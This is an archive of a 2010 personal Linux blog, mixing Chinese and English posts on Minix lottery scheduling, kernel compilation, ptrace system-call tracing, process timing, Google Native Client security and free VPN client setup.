linux lover

Minix3 Scheduler

2010-05-29T08:00:00.001-07:00

Minix3 Scheduler

有关minix3的调度，相关的理论在 Operating Systems - Design and Implementation, 3rd Edition 中的 Scheduling in Interactive Systems 里介绍，

Round-Robin Scheduling
Priority Scheduling
Multiple Queues
Shortest Process Next
Guaranteed Scheduling
Lottery Scheduling

之类的算法。这个和批处理系统的job调度不同，所以不可能实现First-Come First-Served,Shortest Job First ,Shortest Reming Time Next之类的调度算法，下面找了一个国外UCSB大学的操作系统课程的相关Minix操作系统的调度算法，有点意思。

Adding a Lottery Scheduler to Minix

This portion of Project 1 requires you to change the process scheduler functionality inside Minix. Obviously, you will need to modify Minix kernel code to make this happen. Specifically, you will be adding functionality to support Lottery Scheduling. Lottery scheduling is a flexible way to schedule CPU time by giving each process a number (n) of tickets. Each time the scheduler is called, it looks at the total number of tickets outstanding (i.e. held by all processes). It randomly chooses one of the outstanding tickets, and the process holding that ticket is the process that gets to run. The intuition is that processes can increase or decrease their share of the CPU by getting or giving away tickets.

Modifying the scheduler for Minix should mostly involve modifying code inkernel/proc.c , specifically thesched() and pick_proc() functions (and perhaps enqueue() and dequeue() ). You may also need to modifykernel/proc.h to add elements to the proc structure and modify queue information (NR_SCHED_QUEUES, TASK_Q, IDLE_Q, etc.) and may need to modify PRIO_MIN and PRIO_MAX in/usr/include/sys/resource.h. Process priority is set in do_getsetpriority() inservers/pm/misc.c(don't worry—the code in here is very simple), which calls do_nice() inkernel/system.c. You might be better off just using the nice()system call , which calls do_nice()directly. You'll probably want to modify what do_nice() does to assign or take away tickets.

The current MINIX scheduler is relatively simple. It maintains 16 queues of "ready" processes, numbered 0-15. Queue 15 is the lowest priority (least likely to run), and contains only the IDLE task. Queue 0 is the highest priority, and contains several kernel tasks that never get a lower priority. Queues 1–14 contain all of the other processes. Processes have a maximum priority (remember, higher priorities are closer to 0), and should never be given a higher priority than their maximum priority. System processes (queues 0-14) are run using their original algorithm, and queue 15 still contains the idle process. However, queue 16 contains all of the runnable user processes, each of which has some number of tickets. The default number of tickets for a new process is 5. However, processes can add or subtract tickets by calling setpriority(ntickets), which will increase the number of tickets by ntickets (note that a negative argument will take tickets away). A process cannot accumulate more than 100 tickets.

Each time the scheduler is called, it should randomly select a ticket (by number) and run the process holding that ticket. Clearly, the random number must be between 0 and Tickets-1, where Tickets is the sum of all the tickets belonging to processes in the ready queue (processes that are blocked are ineligible to run). You may use the random() call (you may need to use the random number code in/usr/src/lib/other/random.c) to generate random numbers and thesrandom() call to initialize the random number generator. A good initialization function to use would be the current date and time.

New processes are created and initialized in kernel/system/do_fork.c. This is probably the best place to initialize any data structures.

实现方案：

http://code.google.com/p/minixlottery/

reference:

http://www.cs.ucsb.edu/~ravenben/classes/170/html/hw1.html

Minix3 Scheduler

2010-05-29T07:59:00.001-07:00

Minix3 Scheduler

有关minix3的调度，相关的理论在 Operating Systems - Design and Implementation, 3rd Edition 中的 Scheduling in Interactive Systems 里介绍，

Round-Robin Scheduling
Priority Scheduling
Multiple Queues
Shortest Process Next
Guaranteed Scheduling
Lottery Scheduling

实现方案：

http://code.google.com/p/minixlottery/

reference:

http://www.cs.ucsb.edu/~ravenben/classes/170/html/hw1.html

GoodReader User Manual

2010-04-01T02:43:00.003-07:00

GoodReader User Manual

Use your local WiFi-network to transfer files from your desktop computer to GoodReader.

Please note that WiFi-networking can sometimes be tricky, there are some hidden options that can prevent normal networking. Should you have any difficulties, please consult our Troubleshooting guide or contact our friendly and experienced customer support service.

Preparation steps
(must be performed the first time only, no need to do it every time)

Step 1. Make sure you have your own local WiFi network ready.

creating your own WiFi network

Step 2. Connect your computer to your WiFi network.

if your network is hosted by your computer (i.e. it is an ad hoc or computer-to-computer network, then skip this step
connecting your computer to WiFi network created by your WiFi router

Step 3. Connect your iPhone / iPod touch to your WiFi network.

hide details

Start the Settings app on your iPhone / iPod touch:

Go to Wi-Fi section. Turn the Wi-Fi switch on, if it's off. Find your network (to which your computer is connected, or which is hosted by your computer) in the list, select it, and enter the password for this network, if needed. It isvery important to ensure that you're entering the password correctly, because sometimes, if the password is incorrect, it may look like you're connected to a network, but no actual file transfer will happen. The checkmark should appear against your network name:

Wait for the WiFi antenna logo to appear at the top of the screen. It may take some time, during which your iPhone registers within the network, so just wait for antenna to appear.

Actual Transfer
(must be performed every time)

Step 4. Start GoodReader app on your iPhone / iPod touch.

Step 5. Open GoodReader's WiFi-transfer page, keep it open all the time while transferring, note the IP-address on this page (you gonna need it in Step 6).

hide details

For security reasons and to save your battery power transfer is allowed only when you're on the WiFi-transfer page. You can open this page with this button on the main screen of GoodReader:

This button brings up the WiFi-transfer page:

The important things here are:

antenna logo at the top, it should indicate a strong WiFi signal (if you don't see this logo, then you're not connected to WiFi network - go back to Steps 1 and 3)
WiFi status: ON (if it's OFF, then you're not connected to WiFi network - go back to Steps 1 and 3)
IP-address (if you don't see it, then you're not connected to WiFi network - go back to Steps 1 and 3)

Note the IP-address, you will use it to initiate a connection from your computer.

IMPORTANT: IP-addresses change from time to time, even if nothing else changes in your setup. So please don't assume that the IP-address is the same as it was during your last transfer session, check this address every time when connecting.

Step 6. Choose the transfer method and do the actual transfer.

hide details

"Easy" transfer (just a couple of files to transfer)	"Professional" transfer (many files and folders to transfer)
transfer using web browsers (any operating system)	Transfer by connecting your iPhone/iPod to your computer as a network folder: Windows Vista / Windows 7 Windows XP Mac OS X Linux

Step 7. After all the transfer is completely done, close WiFi-transfer page.

Step 6
"Professional" transfer - connecting your iPhone as a network folder

This technique connects your iPhone to your desktop computer as a network folder. It creates a network folder shortcut, which you can use later to connect.

Connecting your iPhone to Windows Vista or Windows 7:

on Windows Vista or Windows 7 computer open the Start menu and select Computer:
find the toolbar at the top of Computer window and click Map network drive:
the dialog window will open. Do NOT enter anything in that dialog. Instead, click the Connect to a Web site that you can use to store your documents and pictures link there:

The Add Network Location wizard will start. The whole point of this wizard is to create a network shortcut (network location) that you can use later to connect to GoodReader and to transfer files. Skip the introduction page:

Select the Choose a custom network location item in the list:

Enter your iPhone's IP-address taken from Step 5 of WiFi File Transfer manual. Enter it exactly as you see it on GoodReader's WiFi-transfer page, with http:// and :8080 parts:

Keep the default name for the network location (network shortcut) suggested by the wizard:

Finish the wizard:
when the wizard will close, the network folder will open:

This is the folder with all files that are stored inside GoodReader on your iPhone/iPod. Use this folder the same way you use a normal Windows folder - drag-and-drop files there, copy, move, rename, delete, create subfolders, etc.
only when you're completely done with file transfer, close GoodReader's WiFi-transfer page
the Map Network Drive wizard dialog will stay on the screen at that moment - just close it, don't enter anything there:
the network shortcut (network location) you've created will be located in the Computer window:

Use it every time you need to connect to GoodReader. But if the IP-address of your iPhone changes, you have to create a new shortcut (new network location) for a new IP-address using the same procedure.
please do NOT assume that the IP-address is the same as it was when you were connecting the last time - IP-addresses change periodically, check it every time when connecting

GoodReader User Manual

2010-04-01T02:43:00.001-07:00

GoodReader User Manual

Use your local WiFi-network to transfer files from your desktop computer to GoodReader.

Preparation steps
(must be performed the first time only, no need to do it every time)

Step 1. Make sure you have your own local WiFi network ready.

creating your own WiFi network

Step 2. Connect your computer to your WiFi network.

if your network is hosted by your computer (i.e. it is an ad hoc or computer-to-computer network, then skip this step
connecting your computer to WiFi network created by your WiFi router

Step 3. Connect your iPhone / iPod touch to your WiFi network.

hide details

Actual Transfer
(must be performed every time)

Step 4. Start GoodReader app on your iPhone / iPod touch.

Step 5. Open GoodReader's WiFi-transfer page, keep it open all the time while transferring, note the IP-address on this page (you gonna need it in Step 6).

hide details

antenna logo at the top, it should indicate a strong WiFi signal (if you don't see this logo, then you're not connected to WiFi network - go back to Steps 1 and 3)
WiFi status: ON (if it's OFF, then you're not connected to WiFi network - go back to Steps 1 and 3)
IP-address (if you don't see it, then you're not connected to WiFi network - go back to Steps 1 and 3)

Step 6. Choose the transfer method and do the actual transfer.

hide details

"Easy" transfer (just a couple of files to transfer)	"Professional" transfer (many files and folders to transfer)
transfer using web browsers (any operating system)	Transfer by connecting your iPhone/iPod to your computer as a network folder: Windows Vista / Windows 7 Windows XP Mac OS X Linux

Step 7. After all the transfer is completely done, close WiFi-transfer page.

Step 6
"Professional" transfer - connecting your iPhone as a network folder

This technique connects your iPhone to your desktop computer as a network folder. It creates a network folder shortcut, which you can use later to connect.

Connecting your iPhone to Windows Vista or Windows 7:

on Windows Vista or Windows 7 computer open the Start menu and select Computer:
find the toolbar at the top of Computer window and click Map network drive:
the dialog window will open. Do NOT enter anything in that dialog. Instead, click the Connect to a Web site that you can use to store your documents and pictures link there:

The Add Network Location wizard will start. The whole point of this wizard is to create a network shortcut (network location) that you can use later to connect to GoodReader and to transfer files. Skip the introduction page:

Select the Choose a custom network location item in the list:

Enter your iPhone's IP-address taken from Step 5 of WiFi File Transfer manual. Enter it exactly as you see it on GoodReader's WiFi-transfer page, with http:// and :8080 parts:

Keep the default name for the network location (network shortcut) suggested by the wizard:

Finish the wizard:
when the wizard will close, the network folder will open:

This is the folder with all files that are stored inside GoodReader on your iPhone/iPod. Use this folder the same way you use a normal Windows folder - drag-and-drop files there, copy, move, rename, delete, create subfolders, etc.
only when you're completely done with file transfer, close GoodReader's WiFi-transfer page
the Map Network Drive wizard dialog will stay on the screen at that moment - just close it, don't enter anything there:
the network shortcut (network location) you've created will be located in the Computer window:

Use it every time you need to connect to GoodReader. But if the IP-address of your iPhone changes, you have to create a new shortcut (new network location) for a new IP-address using the same procedure.
please do NOT assume that the IP-address is the same as it was when you were connecting the last time - IP-addresses change periodically, check it every time when connecting

The iPhone Becomes a Web Server

2010-04-01T02:35:00.001-07:00

The iPhone Becomes a Web Server

When those Apple advertisements tout "there's an app for just about anything," they aren't kidding. The latest example? A new iPhone application which just debuted in Japan's App Store transforms the handheld into a full-blown web server. Called "ServersMan@iPhone", the application allows your iPhone to appear just like any other web server on the internet.

The new application was developed by a Japanese operation called FreeBit, a Tokyo-based venture company known for providing its network platform to many VNO/ISPs (virtual network operator/Internet service providers).

Once the app is installed, PCs on the internet can access the iPhone to upload or download files through a browser or they can use the webDAV protocol. If the PC and the iPhone are on the same network, the PC can connect directly. If they are on separate networks, then FreeBit's VPN software will engage the connection.

The name "ServersMan" is said to be inspired by Sony's "WalkMan," and its no coincidence that FreeBit has invited Sony's former CEO Nobuyuki Idei to be a business advisor for the company.

At the moment, the ServersMan@iPhone is only available in the Japanese App Store, but an English version is coming in March. A port for Windows Mobile devices is also under development.

upgrkernel 2.6.33 in ubuntu 9.10

2010-03-28T01:06:00.001-07:00

Upgrade kernel 2.6.33 in ubuntu 9.10

1.Get the kernel source code of 2.6.33 from kernel.org.Patch the kernel if possible .

2.Extra the tar file,
$tar -xzvf linux-2.6.33.tar.gz

3.$cd linux-2.6.33
$sudo apt-get install ncurses //a text user interface library!
$make menuconfig
{
a good way for config the kernel !
it can easily get the hardware driver modules .
cp /boot/config-2.6.31-21-generic .config
$make old config
}

4.compile the kernel
$make bzImage
then
$make modules
then
$sudo make modules_install
it will copy the modules in /lib/modules/2.6.33 .

5.install the kernel
$sudo make install
it will run install.sh ,just copy three files into /boot directions

config-2.6.33
System.map-2.6.33
vmlinuz-2.6.33

6.create initrd image
$cd /boot
$sudo mkinitramfs -o initrd.img-2.6.33 2.6.33
or
$sudo update-initramfs -c -k 2.6.33
the 2.6.33 is the kernel release number ,just keep the same as vmlinuz-*,and /lib/modules/*
for it's a temporary file system ,so it contains some device drivers as the loadable modules ,
these modules must be copied by /lib/modules/2.6.33 directional .

7.configure the grub
alex@alex-laptop:/boot$ sudo update-grub2
Generating grub.cfg ...
Found linux image: /boot/vmlinuz-2.6.33
Found initrd image: /boot/initrd.img-2.6.33
Found linux image: /boot/vmlinuz-2.6.31-21-generic
Found initrd image: /boot/initrd.img-2.6.31-21-generic
Found linux image: /boot/vmlinuz-2.6.31-20-generic
Found initrd image: /boot/initrd.img-2.6.31-20-generic
Found linux image: /boot/vmlinuz-2.6.31-14-generic
Found initrd image: /boot/initrd.img-2.6.31-14-generic
Found memtest86+ image: /boot/memtest86+.bin
Found Windows 7 (loader) on /dev/sda1
done

notation:
Grub2
Vmlinuz
Kernel_Howto
Boot Process
Initrd
System.map
kernel config

Google Native Client: web deluxe, or ActiveX redux?

2010-01-31T21:24:00.001-08:00

Throughout the brief history of the web, we’ve seen various attempts to make the browsing experience more interactive: Java applets, JavaScript (and AJAX techniques), ActiveX, Flash, and Silverlight to name a few. All of the above except for ActiveX achieve a certain level of security from malicious code through the use of runtime-interpreted languages. The interpreter layer helps to assure security by not providing access to certain types of operations.

An ActiveX control, on the other hand, is native executable code — so it can do anything you can write an executable to do. That includes access to the local file system and other resources to which the current user has permissions. Thus, if you install an ActiveX control from an untrusted source, who knows what you’re getting yourself into? Soon after the release of ActiveX, one developer famously put up a page on the web (I can’t find it now) that would reboot your system without asking — just to demonstrate the security vulnerabilities inherent in the design. Not long after that, Microsoft added a security feature to Internet Explorer to ask you before loading any ActiveX controls.

The vulnerabilities associated with ActiveX put most web aficionados off the idea of embedding native code in the browser, even though it naturally performs much better than an interpreted language (although recent improvements in JavaScript performance mitigate that somewhat). But now Google is reopening the possibility of running native code in the browser, in order to provide a richer Internet experience. Unlike ActiveX, this technology (appropriately named Native Client) is designed to run in many different browsers (Firefox, Safari, Opera, and Chrome — note no IE), and across various client platforms (Linux, OS/X, and Windows are already supported on x86).

Handling the security issues

Chad Perrin of TechRepublic recently posted his concerns about the security of Native Client. Apparently, when Native Client loads an executable, it decompiles it to insure that the code follows certain “structural criteria” and doesn’t perform any prohibited action, like creating files on the local file system or accessing the network. Google admits that this security model presents some challenges. It seems to me it would be next to impossible to prevent all forms of attack — but hey, Google employs some pretty smart people. I just hope they aren’t misguided on this.

Google’s Native Client team wants your help in testing to see if you can break their security mechanisms.

Taking it for a spin

To try it out, you must first have Python 2.4 or 2.5 installed on your system (it’s not directly used by Native Client, but it is used for the build and test environments). Download the software, and follow the build instructions.

Just like ActiveX controls, a Native Client executable can be run within a stand-alone application, or within a web page (if you install the Native Client plugin for your browser). The tests provided in the download offer both options. Here’s one of my favorite programs (Conway’s Life simulation) running as a stand-alone app on Windows XP:

And here it is inside Firefox:

The same executable (life.nexe on Windows) is used in both cases — it just uses a different loader in each (a stand-alone executable or a browser plugin). This example runs very quickly. You can use the mouse to add cells wherever you click. I could watch this all day.

The API Reference for Native Client can be found here. I haven’t read through all of it yet. The API is written in C++. I like the fact that it’s cross-platform, but I presume that the executables have to be compiled for each operating system. Judging from the Python code in the stand-alone loader, I’m guessing that the browser plugin’s loader will automatically look for the platform-correct executable on the host system (UPDATE: Sven corrected my assumption – the .nexe’s generated from the compilation are platform-independent). But I haven’t tried creating any Native Client modules of my own yet.

This technology is designed to handle processing loads that are deemed too onerous for pure JavaScript, or a combination of JavaScript and server-side processing. One example would be image editing, which would be quite difficult to do in pure JavaScript (even if you can rely on the Canvas object). But sending commands to the server to modify the image and ship it back to the client gets expensive in a hurry. The ideal model would be to perform all the image manipulation in the client and then send the final result back to the server (if needed).

What do you think? Will Native Client finally give us the processing power we’ve always wanted in the web client? Or will it open too many security vulnerabilities? Will NaCl be worth its salt?

using ptrace for system calls filter

2010-01-14T19:40:00.001-08:00

using ptrace for system calls filter

Recently i just develop an online compiler system ,taking the server security into account . For example,if the user use the fork() syscall,and it will cause the server unsafe,the ptrace syscall can realize the system calls filter, if the daemon find the unsafe syscalls kill the process!

ptrace is a system call found in several Unix and Unix-like operating systems. By using ptrace (the name is a abbreviation of "process trace") one process can control another, enabling the controller to inspect and manipulate the internal state of its target. ptrace is used by debuggers and other code-analysis tools, mostly as aids to software development.

ptrace is used by debuggers (such as gdb and dbx), by tracing tools like strace and ltrace, and by code coverage tools. ptrace is also used by specialised programs to patch running programs, to avoid unfixed bugs or to overcome security features.

#include <sys/ptrace.h>

long ptrace(enum __ptrace_request request, pid_t pid, void

*addr, void *data);

the example code !

#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <linux/user.h> /* For constants
ORIG_EAX etc */
int main()
{ pid_t child;
long orig_eax;
child = fork();
if(child == 0) {
ptrace(PTRACE_TRACEME, 0, NULL, NULL);
execl("/bin/ls", "ls", NULL);
}
else {
wait(NULL);
orig_eax = ptrace(PTRACE_PEEKUSER,
child, 4 * ORIG_EAX,
NULL);
printf("The child made a "
"system call %ld\n", orig_eax);
ptrace(PTRACE_CONT, child, NULL, NULL);
}
return 0;
}

When run, this program prints:

The child made a system call 11
along with the output of ls. System call number 11 is execve, and it's the first system call executed by the child. For reference, system call numbers can be found in /usr/include/asm/unistd.h.
it's cool!

reference

http://linux.die.net/man/2/ptrace

http://www.linuxjournal.com/article/6100

different of real user sys time

2010-01-14T04:42:00.001-08:00

different of real user sys time

When we use $time command ,output just like following,

$time ls

real 0m0.007s

user 0m0.004s

sys 0m0.000s

why real!=user+sys.

Real refers to actual elapsed time; User and Sys refer to CPU time used only by the process.

Real is wall clock time - time from start to finish of the call. This is all elapsed time including time slices used by other processes and time the process spends blocked (for example if it is waiting for I/O to complete).
User is the amount of CPU time spent in user-mode code (outside the kernel) within the process. This is only actual CPU time used in executing the process. Other processes and time the process spends blocked do not count towards this figure.
Sys is the amount of CPU time spent in the kernel within the process. This means executing CPU time spent in system calls within the kernel, as opposed to library code, which is still running in user-space. Like 'user', this is only CPU time used by the process. See below for a brief description of kernel mode (also known as 'supervisor' mode) and the system call mechanism.

User+Sys will tell you how much actual CPU time your process used.

So $strace time ls

i get

.......

gettimeofday({1263467995, 282946}, NULL) = 0

clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0xb774b728) = 5030

rt_sigaction(SIGINT, {0x1, [INT], SA_RESTART}, {SIG_DFL, [], 0}, 8) = 0

rt_sigaction(SIGQUIT, {0x1, [QUIT], SA_RESTART}, {SIG_DFL, [], 0}, 8) = 0

wait4(-1, [{WIFEXITED(s) && WEXITSTATUS(s) == 0}], 0, {ru_utime={0, 4000}, ru_stime={0, 0}, ...}) = 5030

--- SIGCHLD (Child exited) @ 0 (0) ---

gettimeofday({1263467995, 292113}, NULL) = 0

.........

real time just use the gettimeofday() function;

and the sys,user use the wait4() syscall ,and get the data from getrusage structure .

struct rusage {
struct timeval ru_utime; /* user time used */
struct timeval ru_stime; /* system time used */
long ru_maxrss; /* maximum resident set size */
long ru_ixrss; /* integral shared memory size */
long ru_idrss; /* integral unshared data size */
long ru_isrss; /* integral unshared stack size */
long ru_minflt; /* page reclaims */
long ru_majflt; /* page faults */
long ru_nswap; /* swaps */
long ru_inblock; /* block input operations */
long ru_oublock; /* block output operations */
long ru_msgsnd; /* messages sent */
long ru_msgrcv; /* messages received */
long ru_nsignals; /* signals received */
long ru_nvcsw; /* voluntary context switches */
long ru_nivcsw; /* involuntary context switches */
};

So , taking

resources like memory, I/O , IPC calls and OS's timeslice mechanism into account.

why real !=sys+user time ,just clear!

Actually ,we discuss which application or program is more fast ,that means the

sys+user time.

So ,how measure the system or user time .

copy the code

long
get_run_time ()
{
#if defined (HAVE_GETRUSAGE) && defined (HAVE_SYS_RESOURCE_H)
struct rusage rusage;
getrusage (0, &rusage);
return (rusage.ru_utime.tv_sec * 1000000 + rusage.ru_utime.tv_usec
+ rusage.ru_stime.tv_sec * 1000000 + rusage.ru_stime.tv_usec);
#else /* ! HAVE_GETRUSAGE */
#ifdef HAVE_TIMES
struct tms tms;
times (&tms);
return (tms.tms_utime + tms.tms_stime) * (1000000 / GNU_HZ);
#else /* ! HAVE_TIMES */
/* Fall back on clock and hope it's correctly implemented. */
const long clocks_per_sec = CLOCKS_PER_SEC;
if (clocks_per_sec <= 1000000)
return clock () * (1000000 / clocks_per_sec);
else
return clock () / clocks_per_sec;
#endif /* HAVE_TIMES */
#endif /* HAVE_GETRUSAGE */
}

Free VPN Tools

2010-01-09T19:45:00.001-08:00

Free VPN Tools

1.https://www.ultravpn.fr/

UltraVPN - A Free VPN Powered by the Community

已经注册了 alexzhang

基于openvpn 的服务 .

可以利用虚拟机中装该软件实现。

2.http://thefreevpn.com/

Welcome to Free USA | UK | Canada VPN

和上面的软件差不多，

3.http://www.tinc-vpn.org/

What is tinc?

tinc is a Virtual Private Network (VPN) daemon that uses tunnelling and encryption to create a secure private network between hosts on the Internet. tinc is Free Software and licensed under the GNU General Public License version 2 or later. Because the VPN appears to the IP level network code as a normal network device, there is no need to adapt any existing software. This allows VPN sites to share information with each other over the Internet without exposing any information to others. In addition, tinc has the following features:

Linux 下的VPN 客户端，仅此而已。

4.http://www.freeswan.org/

The FreeS/WAN team is proud to announce the arrival of 2.06, the project's final release of its freely redistributable IPsec for Linux. Here are a few of its notable features, as documented in the CHANGES file:

也是 linux 下的VPN

5.http://www.packetix.net/en/vpn/admin/vpnclient.aspx

Client Installation for VPN Online Test Environment

You need to install the PacketiX VPN Client on you local PC to create a VPN connection to the Virtual Hub "alexzhang".

You can install and configure the client by hand, or the ActiveX control on this page to install and configure it automatically.

PacketiX VPN Client 2.0 also operates on platforms with Linux kernel 2.4 or later. However, the Linux version of VPN Client has numerous limitations, and currently it cannot be operated using a GUI. Therefore, the Linux version of VPN Client is recommended for use only by users with a very strong understanding of the Linux operating system and networks.

When using a Linux server to configure a connection between bases or a remote access VPN, normally this can be achieved using the local bridge functions of the Linux version of VPN Server, and the Linux version of VPN Client does not need to be used.

is a Japan VPN service. It is actually a premium service, but they have PacketiX.NET online test service as well which is free to use. The service is fast and reliable and it is easy to use as well. Just download the VPN connection manager, install and connect!

提供多平台的支持尤其支持 windows 浏览器在线VPN

http://vtun.sourceforge.net/tun/ 支持

6.http://hotspotshield.com/

Welcome to Hotspot Shield!

Secure your web session with HTTPS encryption.
Hide your IP address for your privacy online.
Access all content privately without censorship; bypass firewalls.
Protect yourself from snoopers at Wi-Fi hotspots, hotels, airports, corporate offices and ISP hubs.
Works on wireless and wired connections alike.
Secure your data & personal information online.

很好的免费的VPN 工具。

不支持linux 客户端。

正因为这个工具不错，选择它用在虚拟机中，在虚拟机里安装XP，通过简单的安装，就可以通过

VPN上很多网站。

真正的安全。

http://miriup.de/index.php?view=article&catid=8:linux&id=8:using-hotspot-shield-under-linux&tmpl=component&print=1&page=&option=com_content&Itemid=2&17d36e81b1af746007a10b6c2018853c=9cf605e3c8e48fae928c28746fec2052#mce_temp_url#

Using HotSpot Shield under Linux

Written by Dirk Tilger

Tuesday, 31 March 2009 13:26

Why?

A friend of mine is promoting Linux in his company and for a certain number of applications he would like to use a public VPN service. Hotspot Shield is apparently one of the most widely known ones out there, so naturally people are asking whether it could run under Linux.

What makes you think it could run?

If you take a closer look at Hotspot Shield, one could quickly get the impression it's easy to make it run under Linux and while you're at it you might in fact believe for quite a while that you are on a successful track. However, it's not that easy as it turns out and the author of this text eventually gave up on it. However, if you're still determined you might actually get it to work and we'll present an idea at the end of this text on what to do. Until then I just give you an idea stones that lay on the way to give you an idea what not to try.

Why not.

If you take a look into the binaries folder after installing Hotspot Shield, you get this or a similar look:

After the installation your first obstacle would be a Windows service trying to bind to port 895 - which is restricted to root under any decent Linux/Un*x system and this inaccessible, since you are not running wine as root (are you?). You can figure that out by enable tracing for winsock and executing the service executable openvpnas.exe (with the -debug parameter) directly. I bypassed this first obstacle by patching wine to assign a non-privileged port. People seem to look often for a solution to the root-ports problem, so one positive outcome of this experiment will be a wine patch. Once it's pretty I will submit it to wine-patches mailinglist for inclusion. Should it get rejected, it will be posted here.

openvpn.exe appears to be the OpenVPN executable. If you understand the inner workings of wine a little bit more you will understand that OpenVPN is not likely to run out of the box, since within wine it will have a hard time creating a new network device on the kernel level. So, replacing openvpn.exe was my first candidate and I thought a good one: it's GPL licensed and thus open.

You can start native applications on your machine through wine, thus replacing openvpn.exe with a native OpenVPN should have done the trick.

After quite some time of configuring and writing a wrapper around OpenVPN I had to find out that AnchorFree had done modifications to openvpn.exe. While I could address some of them with a wrapper (though one that had to rewrite network packets) in other aspects the modified openvpn.exe does not behave according to the manual of the GPL one and then it becomes really nasty to figure things out. While grumbling over the GPL violation I found out more or less by accident that OpenVPN is dual-licensed and this modification is in fact allowed.

How it could in fact work: ideas for someone else

With the openvpn.exe turning out not being a good cutting point for an interoperability patch, there is still an option left. The main problem of Hotspot Shield not running in wine is that it won't be able to load a network driver into the kernel of the host OS. This particular driver, the ethernet network tap however came in fact from the Unix world and had been ported to Windows. So the remaining option would be to implement the Windows interface of the TAP-Win32 driver and map its calls to the native TAP driver. For me that is more time worth spending.

OpenVPN has to support both the traditional Un*x TAP driver and the Windows driver. Accesses to both of them can be found in tun.c (at least for the prelease 2.1 branch in the SVN repository). An implementation of a wine TAP driver therefore could largely be done with copy and paste. If you look for example for open_tun (which opens the TUN/TAP device), you will find implementations for:

Linux
Generic Un*xes
Solaris
OpenBSD
NetBSD
FreeBSD
Dragonfly
WIN32

Superficially looked at the open_tun implementation for WIN32, it doesn't substantially look different besides that we know that the functions to call have different names and slightly different semantics:

We look for the driver.
We open the file associated with the driver.
We configure the driver using device controls.

Therefore a TAP implementation for wine:

has to be found as a driver in the Registry.
should provide a device file that can be openedbe able to open the driver file (the device file).
provide the Windows device controls and map them to the native OS.

Since OpenVPN's tun.c is already doing the majority of the work, the actual implementation could be largely pasted from the above mentioned file.

7.PacketiX.NET vpn client installation on linux

In tips & tricks on 8 August 2009 tagged simple packetix free vpn guide with 6 comments

recently i'm been using packetix.net vpn and the speed is quite good... unfortunately there's not many guide on how to use the client on linux, so i'm writing one.

this gonna be very long..so bear with me till the end ..huhu

0. to make things easier, lets transform into root
sudo su && cd

1. now, make a folder name vpn and download the vpnclient file from their web http://packetix.net/en/secure/install/
mkdir vpn && cd vpn
wget -c http://packetix.net/en/special/files/vpn2_5350_en/vpnclient-5350a-rtm-en-linux-x86.tar.gz

2. now to compile this files, you need zlib, openssl, readline and ncurses.
apt-get install zlib1g-dev libreadline5-dev

3. once finish,extract the file and continue with compile
tar -zxvf vpnclient-5350a-rtm-en-linux-x86.tar.gz && cd vpnclient* && make
4. connecting/tunneling to packettix.net
./vpnclient start
./vpncmd

5. inside vpncmd
choose number 2
[2] Management of VPN Clinet and input localhost as the destination host
u will see something like this...
Input destination: localhost
Connected to VPN Client "localhost".
VPN Client>

6. now configuring your connection....read..and follow
root@bur8:~/vpnclient> ./vpncmd
vpncmd command - PacketiX VPN Command Line Management Utility
PacketiX VPN Command Line Management Utility (vpncmd command)
Version 2.20 Build 5350 (English)
Compiled Oct 9 2007 01:27:58 by yagi at ILC308
Copyright (C) 2004-2007 SoftEther Corporation. All Rights Reserved.
By using vpncmd program, the following can be achieved.
1. Management of VPN Server or VPN Bridge
2. Management of VPN Clinet
3. Use of VPN Tools (certificate creation and communication speed measurement)

Select 1, 2 or 3: 2

Specify the host name or IP address of the computer that the destination VPN Client is operating on.
If nothing is input and Enter is pressed, connection will be made to localhost (this computer).
Input destination: localhost

Connected to VPN Client "localhost".
VPN Client>niccreate
NicCreate command - Create New Virtual Network Adapter
Virtual Network Adapter Name: 0
The command terminated normally.

*** now lets configure our account and connection

VPN Client>niclist
NicList command - Get List of Virtual Network Adapters
Item                        |Value
----------------------------+-----------------------------------
Virtual Network Adapter Name|0
Status                      |Enabled
MAC Address                 |00AC9D035CF6
Version                     |Version 2.20 Build 5350   (English)
The command terminated normally.

VPN Client>accountcreate
AccountCreate command - Create New VPN Connection Setting
Name of VPN Connection Setting: VPN
Destination VPN Server Host Name and Port Number: public.softether.com:443
Destination Virtual HUB Name: PUBLIC
Connecting User Name: PUBLIC
Used Virtual Network Adapter Name: 0
The command terminated normally.

VPN Client>accountlist
AccountList command - Get List of VPN Connection Settings
Item                        |Value
----------------------------+-----------------------------------------------
VPN Connection Setting Name |VPN
Status                      |Offline
VPN Server Address          |public.softether.com (Direct TCP/IP Connection)
Virtual Network Adapter Name|0
The command terminated normally.

VPN Client>accountconnect
AccountConnect command - Start Connection to VPN Server using VPN Connection Setting
Name of VPN Connection Setting: VPN
The command terminated normally.

*** wait for awhile and list the account again

VPN Client>accountlist
AccountList command - Get List of VPN Connection Settings
Item                        |Value
----------------------------+-----------------------------------------------
VPN Connection Setting Name |VPN
Status                      |Connected
VPN Server Address          |public.softether.com (Direct TCP/IP Connection)
Virtual Network Adapter Name|0
The command terminated normally.

*** set this as default connection everytime vpnclient started

VPN Client>AccountStartupSet
AccountStartupSet command - Set VPN Connection Setting as Startup Connection
Name of VPN Connection Setting: VPN
VPN Client>quit

7. now check for connection... note the value of _0 at the end of vpn
root@bur8:~/vpnclient> ifconfig vpn_0
vpn_0 Link encap:Ethernet HWaddr 00:ac:9d:03:5c:f6
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1603 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:500
RX bytes:463867 (463.8 KB) TX bytes:0 (0.0 B)

7. get dhcp from vpn
root@bur8:~/vpnclient> dhclient vpn_0
Listening on LPF/vpn_0/00:ac:9d:03:5c:f6
Sending on LPF/vpn_0/00:ac:9d:03:5c:f6
Sending on Socket/fallback
DHCPREQUEST of 10.3.83.250 on vpn_0 to 255.255.255.255 port 67
DHCPACK of 10.3.83.250 from 10.0.0.1
bound to 10.3.83.250 -- renewal in 437751335 seconds.

root@bur8:~/vpnclient> ifconfig vpn_0
vpn_0 Link encap:Ethernet HWaddr 00:ac:9d:03:5c:f6
inet addr:10.3.83.250 Bcast:10.255.255.255 Mask:255.0.0.0

now you can start routing you connection to vpn..
sorry but this is a noob routing technique...it will redirect all your traffic to vpn

route del default
route add default dev vpn_0

for more about how to do advance routing in linux please refer tohttp://lartc.org/howto/index.html
